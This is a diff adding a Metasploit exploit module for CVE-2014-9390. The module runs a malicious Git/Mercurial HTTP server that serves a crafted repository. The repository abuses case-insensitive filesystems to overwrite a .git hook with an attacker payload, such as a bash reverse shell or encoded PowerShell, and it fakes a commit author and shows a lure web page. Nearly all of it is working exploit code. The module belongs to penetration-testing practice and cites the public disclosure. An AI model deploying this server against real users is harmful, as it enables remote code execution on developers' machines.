|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer |
| 12 | + include Msf::Exploit::Powershell |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390', |
| 18 | + 'Description' => %q( |
| 19 | + This module exploits CVE-2014-9390, which affects Git (versions less |
| 20 | + than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions |
| 21 | + less than 3.2.3) and describes three vulnerabilities. |
| 22 | +
|
| 23 | + On operating systems which have case-insensitive file systems, like |
| 24 | + Windows and OS X, Git clients can be convinced to retrieve and |
| 25 | + overwrite sensitive configuration files in the .git |
| 26 | + directory which can allow arbitrary code execution if a vulnerable |
| 27 | + client can be convinced to perform certain actions (for example, |
| 28 | + a checkout) against a malicious Git repository. |
| 29 | +
|
| 30 | + A second vulnerability with similar characteristics also exists in both |
| 31 | + Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where |
| 32 | + certain Unicode codepoints are ignorable. |
| 33 | +
|
| 34 | + The third vulnerability with similar characteristics only affects |
| 35 | + Mercurial clients on Windows, where Windows "short names" |
| 36 | + (MS-DOS-compatible 8.3 format) are supported. |
| 37 | +
|
| 38 | + Today this module only truly supports the first vulnerability (Git |
| 39 | + clients on case-insensitive file systems) but has the functionality to |
| 40 | + support the remaining two with a little work. |
| 41 | + ), |
| 42 | + 'License' => MSF_LICENSE, |
| 43 | + 'Author' => [ |
| 44 | + 'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module |
| 45 | + ], |
| 46 | + 'References' => |
| 47 | + [ |
| 48 | + ['CVE', '2014-9390'], |
| 49 | + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'], |
| 50 | + ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'], |
| 51 | + ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'], |
| 52 | + ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'], |
| 53 | + ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'], |
| 54 | + ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'], |
| 55 | + ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'], |
| 56 | + ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a'] |
| 57 | + |
| 58 | + ], |
| 59 | + 'DisclosureDate' => 'Dec 18 2014', |
| 60 | + 'Targets' => |
| 61 | + [ |
| 62 | + [ |
| 63 | + 'Automatic', |
| 64 | + { |
| 65 | + 'Platform' => [ 'unix' ], |
| 66 | + 'Arch' => ARCH_CMD, |
| 67 | + 'Payload' => |
| 68 | + { |
| 69 | + 'Compat' => |
| 70 | + { |
| 71 | + 'PayloadType' => 'cmd cmd_bash', |
| 72 | + 'RequiredCmd' => 'generic bash-tcp perl bash' |
| 73 | + } |
| 74 | + } |
| 75 | + } |
| 76 | + ], |
| 77 | + [ |
| 78 | + 'Windows Powershell', |
| 79 | + { |
| 80 | + 'Platform' => [ 'windows' ], |
| 81 | + 'Arch' => [ARCH_X86, ARCH_X86_64] |
| 82 | + } |
| 83 | + ] |
| 84 | + ], |
| 85 | + 'DefaultTarget' => 0)) |
| 86 | + |
| 87 | + register_options( |
| 88 | + [ |
| 89 | + OptBool.new('GIT', [true, 'Exploit Git clients', true]) |
| 90 | + ] |
| 91 | + ) |
| 92 | + |
| 93 | + register_advanced_options( |
| 94 | + [ |
| 95 | + OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), |
| 96 | + OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']), |
| 97 | + OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']), |
| 98 | + OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']), |
| 99 | + OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false]) |
| 100 | + ] |
| 101 | + ) |
| 102 | + end |
| 103 | + |
| 104 | + def setup |
| 105 | + # the exploit requires that we act enough like a real Mercurial HTTP instance, |
| 106 | + # so we keep a mapping of all of the files and the corresponding data we'll |
| 107 | + # send back along with a trigger file that signifies that the git/mercurial |
| 108 | + # client has fetched the malicious content. |
| 109 | + @repo_data = { |
| 110 | + git: { files: {}, trigger: nil }, |
| 111 | + mercurial: { files: {}, trigger: nil } |
| 112 | + } |
| 113 | + |
| 114 | + unless datastore['GIT'] || datastore['MERCURIAL'] |
| 115 | + fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL') |
| 116 | + end |
| 117 | + |
| 118 | + setup_git |
| 119 | + setup_mercurial |
| 120 | + |
| 121 | + super |
| 122 | + end |
| 123 | + |
| 124 | + def setup_git |
| 125 | + return unless datastore['GIT'] |
| 126 | + # URI must start with a / |
| 127 | + unless git_uri && git_uri =~ /^\// |
| 128 | + fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /') |
| 129 | + end |
| 130 | + # sanity check the malicious hook: |
| 131 | + if datastore['GIT_HOOK'].blank? |
| 132 | + fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank') |
| 133 | + end |
| 134 | + |
| 135 | + # In .git/hooks/ directory, specially named files are shell scripts that |
| 136 | + # are executed when particular events occur. For example, if |
| 137 | + # .git/hooks/post-checkout was an executable shell script, a git client |
| 138 | + # would execute that file every time anything is checked out. There are |
| 139 | + # various other files that can be used to achieve similar goals but related |
| 140 | + # to committing, updating, etc. |
| 141 | + # |
| 142 | + # This vulnerability allows a specially crafted file to bypass Git's |
| 143 | + # blacklist and overwrite the sensitive .git/hooks/ files which can allow |
| 144 | + # arbitrary code execution if a vulnerable Git client can be convinced to |
| 145 | + # interact with a malicious Git repository. |
| 146 | + # |
| 147 | + # This builds a fake git repository using the knowledge from: |
| 148 | + # |
| 149 | + # http://schacon.github.io/gitbook/7_how_git_stores_objects.html |
| 150 | + # http://schacon.github.io/gitbook/7_browsing_git_objects.html |
| 151 | + case target.name |
| 152 | + when 'Automatic' |
| 153 | + full_cmd = "#!/bin/sh\n#{payload.encoded}\n" |
| 154 | + when 'Windows Powershell' |
| 155 | + psh = cmd_psh_payload(payload.encoded, |
| 156 | + payload_instance.arch.first, |
| 157 | + remove_comspec: true, |
| 158 | + encode_final_payload: true) |
| 159 | + full_cmd = "#!/bin/sh\n#{psh}" |
| 160 | + end |
| 161 | + |
| 162 | + sha1, content = build_object('blob', full_cmd) |
| 163 | + trigger = "/objects/#{get_path(sha1)}" |
| 164 | + @repo_data[:git][:trigger] = trigger |
| 165 | + @repo_data[:git][:files][trigger] = content |
| 166 | + # build tree that points to the blob |
| 167 | + sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}") |
| 168 | + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content |
| 169 | + # build a tree that points to the hooks directory in which the hook lives, called hooks |
| 170 | + sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}") |
| 171 | + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content |
| 172 | + # build a tree that points to the partially uppercased .git directory in |
| 173 | + # which hooks live |
| 174 | + variants = [] |
| 175 | + %w(g G). each do |g| |
| 176 | + %w(i I).each do |i| |
| 177 | + %w(t T).each do |t| |
| 178 | + git = g + i + t |
| 179 | + variants << git unless git.chars.none? { |c| c == c.upcase } |
| 180 | + end |
| 181 | + end |
| 182 | + end |
| 183 | + git_dir = '.' + variants.sample |
| 184 | + sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}") |
| 185 | + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content |
| 186 | + # build the supposed commit that dropped this file, which has a random user/company |
| 187 | + email = Rex::Text.rand_mail_address |
| 188 | + first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten |
| 189 | + full_name = "#{first.capitalize} #{last.capitalize}" |
| 190 | + tstamp = Time.now.to_i |
| 191 | + author_time = rand(tstamp) |
| 192 | + commit_time = rand(author_time) |
| 193 | + tz_off = rand(10) |
| 194 | + commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ |
| 195 | + "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ |
| 196 | + "\n" \ |
| 197 | + "Initial commit to open git repository for #{company}!\n" |
| 198 | + if datastore['VERBOSE'] |
| 199 | + vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:") |
| 200 | + commit.each_line { |l| vprint_status(l.strip) } |
| 201 | + end |
| 202 | + sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") |
| 203 | + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content |
| 204 | + # build HEAD |
| 205 | + @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" |
| 206 | + # lastly, build refs |
| 207 | + @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" |
| 208 | + end |
| 209 | + |
| 210 | + def setup_mercurial |
| 211 | + return unless datastore['MERCURIAL'] |
| 212 | + # URI must start with a / |
| 213 | + unless mercurial_uri && mercurial_uri =~ /^\// |
| 214 | + fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /') |
| 215 | + end |
| 216 | + # sanity check the malicious hook |
| 217 | + if datastore['MERCURIAL_HOOK'].blank? |
| 218 | + fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_HOOK must not be blank') |
| 219 | + end |
| 220 | + # we fake the Mercurial HTTP protocol such that we are compliant as possible but |
| 221 | + # also as simple as possible so that we don't have to support all of the protocol |
| 222 | + # complexities. Taken from: |
| 223 | + # http://mercurial.selenic.com/wiki/HttpCommandProtocol |
| 224 | + # http://selenic.com/hg/file/tip/mercurial/wireproto.py |
| 225 | + @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN' |
| 226 | + fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814' |
| 227 | + @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n" |
| 228 | + # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat |
| 229 | + @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo") |
| 230 | + |
| 231 | + # TODO: finish building the fake repository |
| 232 | + end |
| 233 | + |
| 234 | + # Build's a Git object |
| 235 | + def build_object(type, content) |
| 236 | + # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html |
| 237 | + header = "#{type} #{content.size}\0" |
| 238 | + store = header + content |
| 239 | + [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] |
| 240 | + end |
| 241 | + |
| 242 | + # Returns the Git object path name that a file with the provided SHA1 will reside in |
| 243 | + def get_path(sha1) |
| 244 | + sha1[0...2] + '/' + sha1[2..40] |
| 245 | + end |
| 246 | + |
| 247 | + def exploit |
| 248 | + super |
| 249 | + end |
| 250 | + |
| 251 | + def primer |
| 252 | + # add the git and mercurial URIs as necessary |
| 253 | + if datastore['GIT'] |
| 254 | + hardcoded_uripath(git_uri) |
| 255 | + print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") |
| 256 | + end |
| 257 | + if datastore['MERCURIAL'] |
| 258 | + hardcoded_uripath(mercurial_uri) |
| 259 | + print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}") |
| 260 | + end |
| 261 | + end |
| 262 | + |
| 263 | + # handles routing any request to the mock git, mercurial or simple HTML as necessary |
| 264 | + def on_request_uri(cli, req) |
| 265 | + # if the URI is one of our repositories and the user-agent is that of git/mercurial |
| 266 | + # send back the appropriate data, otherwise just show the HTML version |
| 267 | + if (user_agent = req.headers['User-Agent']) |
| 268 | + if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri) |
| 269 | + do_git(cli, req) |
| 270 | + return |
| 271 | + elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri) |
| 272 | + do_mercurial(cli, req) |
| 273 | + return |
| 274 | + end |
| 275 | + end |
| 276 | + |
| 277 | + do_html(cli, req) |
| 278 | + end |
| 279 | + |
| 280 | + # simulates a Git HTTP server |
| 281 | + def do_git(cli, req) |
| 282 | + # determine if the requested file is something we know how to serve from our |
| 283 | + # fake repository and send it if so |
| 284 | + req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') |
| 285 | + if @repo_data[:git][:files].key?(req_file) |
| 286 | + vprint_status("Sending Git #{req_file}") |
| 287 | + send_response(cli, @repo_data[:git][:files][req_file]) |
| 288 | + if req_file == @repo_data[:git][:trigger] |
| 289 | + vprint_status("Trigger!") |
| 290 | + # Do we need this? If so, how can I update the payload which is in a file which |
| 291 | + # has already been built? |
| 292 | + # regenerate_payload |
| 293 | + handler(cli) |
| 294 | + end |
| 295 | + else |
| 296 | + vprint_status("Git #{req_file} doesn't exist") |
| 297 | + send_not_found(cli) |
| 298 | + end |
| 299 | + end |
| 300 | + |
| 301 | + # simulates an HTTP server with simple HTML content that lists the fake |
| 302 | + # repositories available for cloning |
| 303 | + def do_html(cli, _req) |
| 304 | + resp = create_response |
| 305 | + resp.body = <<HTML |
| 306 | + <html> |
| 307 | + <head><title>Public Repositories</title></head> |
| 308 | + <body> |
| 309 | + <p>Here are our public repositories:</p> |
| 310 | + <ul> |
| 311 | +HTML |
| 312 | + |
| 313 | + if datastore['GIT'] |
| 314 | + this_git_uri = URI.parse(get_uri).merge(git_uri) |
| 315 | + resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" |
| 316 | + else |
| 317 | + resp.body << "<li><a>Git</a> (currently offline)</li>" |
| 318 | + end |
| 319 | + |
| 320 | + if datastore['MERCURIAL'] |
| 321 | + this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri) |
| 322 | + resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>" |
| 323 | + else |
| 324 | + resp.body << "<li><a>Mercurial</a> (currently offline)</li>" |
| 325 | + end |
| 326 | + resp.body << <<HTML |
| 327 | + </ul> |
| 328 | + </body> |
| 329 | + </html> |
| 330 | +HTML |
| 331 | + |
| 332 | + cli.send_response(resp) |
| 333 | + end |
| 334 | + |
| 335 | + # simulates a Mercurial HTTP server |
| 336 | + def do_mercurial(cli, req) |
| 337 | + # determine if the requested file is something we know how to serve from our |
| 338 | + # fake repository and send it if so |
| 339 | + uri = URI.parse(req.uri) |
| 340 | + req_path = uri.path |
| 341 | + req_path += "?#{uri.query}" if uri.query |
| 342 | + req_path.gsub!(/^#{mercurial_uri}/, '') |
| 343 | + if @repo_data[:mercurial][:files].key?(req_path) |
| 344 | + vprint_status("Sending Mercurial #{req_path}") |
| 345 | + send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1') |
| 346 | + if req_path == @repo_data[:mercurial][:trigger] |
| 347 | + vprint_status("Trigger!") |
| 348 | + # Do we need this? If so, how can I update the payload which is in a file which |
| 349 | + # has already been built? |
| 350 | + # regenerate_payload |
| 351 | + handler(cli) |
| 352 | + end |
| 353 | + else |
| 354 | + vprint_status("Mercurial #{req_path} doesn't exist") |
| 355 | + send_not_found(cli) |
| 356 | + end |
| 357 | + end |
| 358 | + |
| 359 | + # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI |
| 360 | + def git_uri |
| 361 | + return @git_uri if @git_uri |
| 362 | + if datastore['GIT_URI'].blank? |
| 363 | + @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' |
| 364 | + else |
| 365 | + @git_uri = datastore['GIT_URI'] |
| 366 | + end |
| 367 | + end |
| 368 | + |
| 369 | + # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI |
| 370 | + def mercurial_uri |
| 371 | + return @mercurial_uri if @mercurial_uri |
| 372 | + if datastore['MERCURIAL_URI'].blank? |
| 373 | + @mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase |
| 374 | + else |
| 375 | + @mercurial_uri = datastore['MERCURIAL_URI'] |
| 376 | + end |
| 377 | + end |
| 378 | +end |
0 commit comments